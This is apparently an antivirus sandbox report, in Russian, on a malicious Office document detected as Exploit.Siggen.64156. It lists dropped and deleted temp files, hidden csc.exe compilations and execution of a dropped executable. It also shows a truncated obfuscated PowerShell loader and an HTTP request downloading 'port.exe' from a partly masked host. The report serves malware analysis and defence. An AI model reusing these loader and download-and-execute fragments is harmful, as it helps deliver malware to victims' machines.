Exploit.Siggen.64156

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function p42f85c {param($mf199)$n978a='r6c7f';$hc9d16='';for ($i=0; $i -lt $mf199.length;$i+=2){$ged1c=[convert]::ToByte($mf199.Substring($i,2),16);$hc9d16+=[char]($ged1c ...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\5k-gwtbo.0.cs
%TEMP%\vodxvuyq.dll
%TEMP%\res93e6.tmp
%TEMP%\csc93d5.tmp
%TEMP%\vodxvuyq.out
%TEMP%\vodxvuyq.cmdline
%TEMP%\vodxvuyq.0.cs
%TEMP%\4kfrbopy.dll
%TEMP%\res664e.tmp
%TEMP%\csc663e.tmp
%TEMP%\4kfrbopy.out
%TEMP%\4kfrbopy.cmdline
%TEMP%\4kfrbopy.0.cs
%TEMP%\ly-shjpt.dll
%TEMP%\res48e3.tmp
%TEMP%\csc48c3.tmp
%TEMP%\ly-shjpt.out
%TEMP%\ly-shjpt.cmdline
%TEMP%\ly-shjpt.0.cs
%TEMP%\5k-gwtbo.dll
%TEMP%\res3b08.tmp
%TEMP%\_93sukcj.dll
%TEMP%\res3a7b.tmp
%TEMP%\csc3af7.tmp
%TEMP%\csc3a6b.tmp
%TEMP%\_93sukcj.out
%TEMP%\_93sukcj.cmdline
%TEMP%\_93sukcj.0.cs
%TEMP%\5k-gwtbo.out
%TEMP%\5k-gwtbo.cmdline
%APPDATA%\a4bab6.exe
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2ad66ec1-5f17-4cac-b87d-af3a985ca0a8}.tmp

Удаляет следующие файлы

%TEMP%\res3a7b.tmp
%TEMP%\ly-shjpt.out
%TEMP%\ly-shjpt.pdb
%TEMP%\res664e.tmp
%TEMP%\csc663e.tmp
%TEMP%\4kfrbopy.pdb
%TEMP%\4kfrbopy.0.cs
%TEMP%\4kfrbopy.out
%TEMP%\vodxvuyq.cmdline
%TEMP%\4kfrbopy.cmdline
%TEMP%\res93e6.tmp
%TEMP%\csc93d5.tmp
%TEMP%\vodxvuyq.pdb
%TEMP%\vodxvuyq.out
%TEMP%\vodxvuyq.dll
%TEMP%\ly-shjpt.dll
%TEMP%\4kfrbopy.dll
%TEMP%\ly-shjpt.0.cs
%TEMP%\_93sukcj.dll
%TEMP%\csc3a6b.tmp
%TEMP%\res3b08.tmp
%TEMP%\csc3af7.tmp
%TEMP%\_93sukcj.out
%TEMP%\_93sukcj.pdb
%TEMP%\_93sukcj.0.cs
%TEMP%\_93sukcj.cmdline
%TEMP%\csc48c3.tmp
%TEMP%\5k-gwtbo.cmdline
%TEMP%\5k-gwtbo.dll
%TEMP%\5k-gwtbo.0.cs
%TEMP%\5k-gwtbo.pdb
%TEMP%\5k-gwtbo.out
%TEMP%\res48e3.tmp
%TEMP%\ly-shjpt.cmdline
%TEMP%\vodxvuyq.0.cs

Сетевая активность

TCP

Запросы HTTP GET

http://gr####eaveperu.com/plugins/user/port.exe

UDP

DNS ASK gr####eaveperu.com

Другое

Создает и запускает на исполнение

'%APPDATA%\a4bab6.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function p42f85c {param($mf199)$n978a='r6c7f';$hc9d16='';for ($i=0; $i -lt $mf199.length;$i+=2){$ged1c=[convert]::ToByte($mf199.Substring($i,2),16);$hc9d16+=[char]($ged1c ...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5k-gwtbo.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_93sukcj.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A7B.tmp" "%TEMP%\CSC3A6B.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3B08.tmp" "%TEMP%\CSC3AF7.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ly-shjpt.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES48E3.tmp" "%TEMP%\CSC48C3.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4kfrbopy.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES664E.tmp" "%TEMP%\CSC663E.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vodxvuyq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES93E6.tmp" "%TEMP%\CSC93D5.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5k-gwtbo.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_93sukcj.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3A7B.tmp" "%TEMP%\CSC3A6B.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3B08.tmp" "%TEMP%\CSC3AF7.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ly-shjpt.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES48E3.tmp" "%TEMP%\CSC48C3.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4kfrbopy.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES664E.tmp" "%TEMP%\CSC663E.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vodxvuyq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES93E6.tmp" "%TEMP%\CSC93D5.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding